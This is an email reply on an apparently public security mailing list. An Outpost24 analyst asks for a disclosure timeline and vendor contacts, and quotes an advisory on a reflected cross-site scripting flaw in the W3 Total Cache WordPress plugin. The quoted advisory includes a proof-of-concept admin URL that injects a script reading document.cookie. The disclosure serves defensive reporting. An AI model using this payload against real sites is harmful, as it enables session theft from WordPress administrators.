Hi Fernando, Do you have a timeline for this issue? Additionally do you have any contact details for the w3tc team you could share? All my attempts to contact them have fallen short. On 21/09/16 13:56, Fernando A. Lagos Berardi wrote: > [+] Description: Cross-Site Scripting vulnerability was found on Wordpress > W3 Total Cache (w3tc) plugin. > [+] Plugin Version tested: <= 0.9.4.1 (latest) > [+] Wordpress version tested: 4.0.0 - 4.6.1 (latest) > > ------------------------------ > > [+] Component: W3 Total Cache Admin (performance menu) -> Support -> Add > new ticket > [+] Variable: request_id > [+] Method: GET > > ------------------------------- > > [+] Affected URL: > https://labs.nivel4.net/wordpress/wp-admin/admin.php?page=w3tc_support&request_type=bug_report&payment&url=http://example.org&name=test&email=test%40gmail.com&twitter&phone&subject=test&description=test&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&subscribe_customer&w3tc_error=support_request&request_id=XSS_PAYLOAD_HERE > > --------------------------------- > > [+] POC: > https://labs.nivel4.net/wordpress/wp-admin/admin.php?page=w3tc_support&request_type=bug_report&payment&url=http://example.org&name=test&email=test%40gmail.com&twitter&phone&subject=test&description=test&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&subscribe_customer&w3tc_error=support_request&request_id=11111666 > "><DEFANGED_script>alert(document.cookie)<%2Fscript> > > > [+] More info: > https://blog.zerial.org/seguridad/vulnerabilidad-cross-site-scripting-en-wordpress-w3-total-cache/ > > -- Best Regards, ----------------------------------------------------- Simon Rawet Web Application Analyst, Outpost24 AB Skeppsbrokajen 8 | 371 33 Karlskrona | Sweden T: +46 708 474 323 ---Outpost24 - Vulnerability Management Made Easy!---
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